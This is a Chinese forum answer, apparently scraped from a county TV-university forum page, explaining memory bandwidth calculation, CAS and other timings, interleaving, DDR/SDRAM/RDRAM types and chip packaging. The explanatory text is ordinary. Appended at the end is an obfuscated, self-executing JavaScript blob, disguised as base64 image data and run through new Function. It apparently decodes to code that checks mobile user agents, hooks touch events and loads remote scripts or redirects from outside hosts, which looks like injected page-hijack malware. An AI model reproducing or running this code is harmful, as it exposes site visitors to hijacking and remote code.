推荐回答(1个)
计算内存带宽
内存的带宽总量可能是决定一组内存的性能的重要标准之一了。这个是什么意思呢?其实真正理解起来不难,而且还非常容易计算。我们刚才所说的内存带宽总量其实就是在理想状态下这一组内存在一秒内所能传输的最大数据容量。公式也很简单:内存带宽总量(MBytes) = 最大时钟速频率 (MHz) x 总线宽度 (bits) x 每时钟数据段数量/ 8
好了,我们还是来解释解释吧。“每始终数据段数量”这个是最好理解的了——你只需要记住,如果你的内存是SDR那么这里这个值就等于1,如果您使用的是DDR或者是RDRAM的话,那么这个值就是2。然后我们再将这个值除以8的意义就是将位这个单位换算成为字节。
所以说,对于一般的标准PC2100 DDR内存来说,他的最大时钟频率应该是133MHz,而它的内存总线宽度为64bit,每时钟数据段数为2。所以(133x64x2)/8 = 2128MB/s。一秒种能够传输2128MB,现在你知道为什么叫做PC2100了吧?
再来一个例子。这次就拿PC800的RDRAM来计算吧。最大时钟频率为400MHz,内存总线宽度为16bit,每时钟数据段数为2,那么套用公式了之后就是(400x16x2)/8 = 1600MB/s。
从这里的大家可以看的出来吧,PC2100的DDR内存能够提供高达2.1GB/s 的带宽,而RDRAM内存的带宽只能达到1.6GB/s,但是需要大家注意的是,由于RDRAM是曾对使用,两条内存一共可以3.2GB/s的内存带宽,而新一代的RIMM内存(总线为32位的RDRAM内存) 将会使用两个数据通道进行工作,所以,他们的带宽几一下增加了一倍——这样就成为了3.2GB/s,并且单独一条内存即可使用。
内存时钟
首先要我要理性的给大家说,内存的性能并不单单只是由它传送数据的快慢决定的。内存从接受到请求到对这个请求作出反应也是决定内存的性能一个非常重要的因素。而现在大多数的内存性能都被这个重要的因素所制约着,它就是——持续反应时间(潜伏期)。
由于当前RDRAM的持续反应时间比较高,所以,在很大程度上影响了RDRAM内存的性能,并且RDRAM的价格比较高昂,导致现在很多人已经不在向往RDRAM,而投向了DDR内存的怀抱。
内存设置参数
行地址控制器 (CAS)
行地址控制器(CAS)可能是最能决定内存模块对数据请求进行响应的因素之一了。通常我们把这个叫做CAS延迟,一般来说,在SDR SDRAM中,我们可以设定为2 或者3(当然是根据自己内存的具体情况而定)。对于DDR内存来说,我们一般常用的设定为2 或者2.5。
内存中最基本的存储单元就是柱面,而这些柱面通过行和列的排列组成了一个矩阵。而每个行和列的坐标集就代表了一个唯一的地址。所以内存在存取数据的时候是根据行和列的地址集来进行数据搜索的。
寻址到可用(Trp)/CAS到RAS (CMD)
相对而言,Trp以及CMD时间并没有CAS时间那么重要,但是也是足以影响内存的性能的了。一般这个地方设置的值为3 (时钟循环),如果把这个这个值改小为2,就可以提升一点内存性能。
列地址控制器(RAS) /其他延迟
内存本身就是一个非常复杂的零部件,可以这么说,计算机内部工作过程最复杂的就是存储器了。但是幸好这些烦琐的工作对于我们这些最终用户来说是透明的,而我们平时用来判断内存性能、质量好坏的这些参数也只是其中的一些部分而已。有两个是不得不提到的,那就是RAS延迟和另外两个延迟。RAS 通常为6个始终循环,但是实际上在超频中可以将它修改为5。
Command rate(指令比率)是另外一个比较普遍的延迟。允许进行的设置为1T或者是2T,而通常2T是默认的设置,1T就要比2T稍微快一点点。另外一个需要注意的地方就是Row Cycle Time (Trc,列循环时间),这个参数一般为3或者2。
其他一些和内存紧密相关的参数:
Bank 激活时间
Bank 循环时间
已装载数据到充电前时间
已装载数据到激活时间
Bank到Bank延迟
大多数的这些参数都是在内存出厂的时候由厂商根据内存的型号种类设定好了的,比如说PC2100 DDR, PC800 RAMBUS, PC133 SDR等等,他们不同的内存会给他们设置不同的参数。而我们不能够自己随意的改动它。
校验内存和缓冲内存和以上我们介绍的内存又有不一样的地方。为了同步内存的时钟频率(这在一些特殊的情况下要求特别严格),数据在输出前是要首先被放到一个叫做“校验区”的存储模块中,这样很多人都把这种内存叫做“校验内存”。这样就可以保证所有从内存中读出的数据都是“同步”的,这样就可以避免很多的数据读写错误了。这样的一个校验过程将会消耗掉一个时钟循环,所以理论上CAS 2的校验内存将会和CAS 3的非缓冲内存性能相当——不要嫌弃,这一切都是为了数据的稳定。
也许有一些朋友会注意到,当他们把内存设置到CAS 2工作模式下的时候,反而系统的性能还没有默认的CAS 2.5/3好了,这是什么原因呢?我的理解是这样的:内存根本就不能稳定的工作在那种模式下,而用户强行的将内存设置为那种工作模式,这样的话就会在存取数据的时候不时的造成数据“丢失”,这样数据不能取得,当然就只能重新读取,这样就浪费掉了很多的时间,当然系统效率就变低了哦。举个例子方便理解吧。内存试着去搜索所有的行和列,但是如果它在这个时钟循环中并没有能够完成这次数据读取,那么就只有等待下一个循环,本来用一个时钟循环就能够解决的问题而现在需要用两个时钟循环甚至三个去完成,这就明显的降低了系统效率。这个时候,越是高的频率越容易导致错误。
内存交错模式
由于在这些延迟的时间间隔内,内存是不能进行读写工作的,所以这个等待时间也造成了内存暂时工作停止。为了避免这种情况发生,内存就可以使用交错模式,但是一般来说,内存默认这项功能是关闭的。如果要提高性能的话,那么就把这个模式设置为2-way甚至4way。
我们再来复习一遍内存的循环过程“CAS -> CMD -> RAS -> 输出数据”。想像一下,如果你的一半内存正在进行行寻址(CAS阶段),而另外一半的内存已经完成了列的寻址(RAS阶段)。如果是这种情况的话,那么一个输出过程就将会执行两个时钟周期才能完成。大家仔细想想也就知道了,内存交错模式并不能使你的显存的存取速度增倍,但是实际上它利用了显存的等待时间,从而提高了显存的工作效率。
最开始的时候交错模式是应用在独立的两根内存条上的,但是现在已经改变了这种情况,现在单独的一根内存条也可以采用交错模式进行工作。在现在的内存(SDR/DDR SDRAM这些)中,你可以在只有一根内存的情况下就使用2路或者4路交错模式。实际上,交错模式并不是内存条和内存条之间进行的一种“交错”,而是内存的bank和bank之间进行的一种提高效率的工作方式。现在绝大多数的内存都被设计为了4个bank,所以,实际上你可以在2-way和4-way之间做一个选择。
内存技术参数:
我们平常所说的“内存”大都是指“内存条”。那么什么是“内存条”呢?常见的“内存条”又有哪些类型呢?
1.内存条的诞生
当CPU在工作时,需要从硬盘等外部存储器上读取数据,但由于硬盘这个“仓库”太大,加上离CPU也很“远”,运输“原料”数据的速度就比较慢,导致CPU的生产效率大打折扣!为了解决这个问题,人们便在CPU与外部存储器之间,建了一个“小仓库”—内存。
内存虽然容量不大,一般只有几十MB到几百MB,但中转速度非常快,如此一来,当CPU需要数据时,事先可以将部分数据存放在内存中,以解CPU的燃眉之急。由于内存只是一个“中转仓库”,因此它并不能用来长时间存储数据。内存又叫随机存储器断电之后数据全部丢失。而硬盘则不会2.常见的内存条,
目前PC中所用的内存主要有SDRAM、DDR SDRAM、RDRAM等三种类型。曾经主流—SDRAMB SDRAM(Synchronous DRAM)即“同步动态随机存储器”。SDRAM内存条的两面都有金手指,是直接插在内存条插槽中的,因此这种结构也叫“双列直插式”,英文名叫“DIMM”。目前绝大部分内存条都采用这种“DIMM”结构。
随着处理器前端总线的不断提高,SDRAM已经无法满足新型处理器的需要了,早已退出了主流市场。
今日主流—DDR SDRAM
DDR SDRAM(简称DDR)是采用了DDR(Double Data Rate SDRAM,双倍数据速度)技术的SDRAM,与普通SDRAM相比,在同一时钟周期内,DDR SDRAM能传输两次数据,而SDRAM只能传输一次数据。
从外形上看DDR内存条与SDRAM相比差别并不大,它们具有同样的长度与同样的引脚距离。只不过DDR内存条有184个引脚,金手指中也只有一个缺口,而SDRAM内存条是168个引脚,并且有两个缺口。
根据DDR内存条的工作频率,它又分为DDR200、DDR266、DDR333、DDR400等多种类型:与SDRAM一样,DDR也是与系统总线频率同步的,不过因为双倍数据传输,因此工作在133MHz频率下的DDR相当于266MHz的SDRAM,于是便用DDR266来表示。
小提示:工作频率表示内存所能稳定运行的最大频率,例如PC133标准的SDRAM的工作频率为133MHz,而DDR266 DDR的工作频率为266MHz。对于内存而言,频率越高,其带宽越大。
除了用工作频率来标示DDR内存条之外,有时也用带宽值来标示,例如DDR 266的内存带宽为2100MB/s,所以又用PC2100来标示它,于是DDR333就是PC2700,DDR400就是PC3200了。
小提示:内存带宽也叫“数据传输率”,是指单位时间内通过内存的数据量,通常以GB/s表示。我们用一个简短的公式来说明内存带宽的计算方法:内存带宽=工作频率×位宽/8×n(时钟脉冲上下沿传输系数,DDR的系数为2)。
由于DDR内存条价格低廉,性能出色,因此成为今日主流的内存产品。过时的贵族—RDRAM
RDRAM(存储器总线式动态随机存储器)是Rambus公司开发的一种新型DRAM。RDRAM虽然位宽比SDRAM及DDR的64bit窄,但其时钟频率要高得多。从外观上来看,RDRAM内存条与SDRAM、DDR SDRAM内存条有点相似。从技术上来看,RDRAM是一种比较先进的内存,但由于价格高,在市场上普及不是很实际。如今的RDRAM已经退出了普通台式机市场。
3.内存的封装xS{
目前内存的封装方式主要有TSOP、BGA、CSP等三种,封装方式也影响着内存条的性能优劣。
TSOP封装:TOSP(Thin Small Outline Package,薄型小尺寸封装)的一个典型特点就是在封装芯片的周围做出很多引脚。TSOP封装操作方便,可靠性比较高,是目前的主流封装方式。
©电大岳阳县分校论坛 -- 广播电视大学岳阳县分校论坛
BGA封装:BGA叫做“球栅阵列封装”,其最大的特点就是芯片的引脚数目增多了,组装成品率提高了。采用BGA封装可以使内存在体积不变的情况下将内存容量提高两到三倍,与TSOP相比,它具有更小的体积、更好的散热性能和电性能。
CSP封装:CSP(Chip Scale Package,芯片级封装)作为新一代封装方式,其性能又有了很大的提高。CSP封装不但体积小,同时也更薄,更能提高内存芯片长时间运行的可靠性,芯片速度也随之得到大幅度的提高。目前该封装方式主要用于高频DDR内存。
1.时钟周期(TCK)
TCK是“Clock Cycle Time”的缩写,即内存时钟周期。它代表了内存可以运行的最大工作频率,数字越小说明内存所能运行的频率就越高。时钟周期与内存的工作频率是成倒数的,即TCK=1/F。比如一块标有“-10”字样的内存芯片,“-10”表示它的运行时钟周期为10ns,即可以在100MHz的频率下正常工作。
2.存取时间(TAC)/h+L
TAC(Access Time From CLK)表示“存取时间”。与时钟周期不同,TAC仅仅代表访问数据所需要的时间。如一块标有“-7J”字样的内存芯片说明该内存条的存取时间是7ns。存取时间越短,则该内存条的性能越好,比如说两根内存条都工作在133MHz下,其中一根的存取时间为6ns,另外一根是7ns,则前者的速度要好于后者。
3.CAS延迟时间(CL)
CL(CAS Latency)是内存性能的一个重要指标,它是内存纵向地址脉冲的反应时间。当电脑需要向内存读取数据时,在实际读取之前一般都有一个“缓冲期”,而“缓冲期”的时间长度,就是这个CL了。内存的CL值越低越好,因此,缩短CAS的周期有助于加快内存在同一频率下的工作速度。
4.奇偶校验(ECC)
内存是一种数据中转“仓库”,而在频繁的中转过程中,一旦搞错了数据怎么办?而ECC就是一种数据检验机制。ECC不仅能够判断数据的正确性,还能纠正大多数错误。普通PC中一般不用这种内存,它们一般应用在高端的服务器电脑中。
目前市场上主流的内存有SDRAM和DDR SDRAM,内存条品牌主要有胜创,金士顿、三星、宇瞻、富豪、现代等等
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();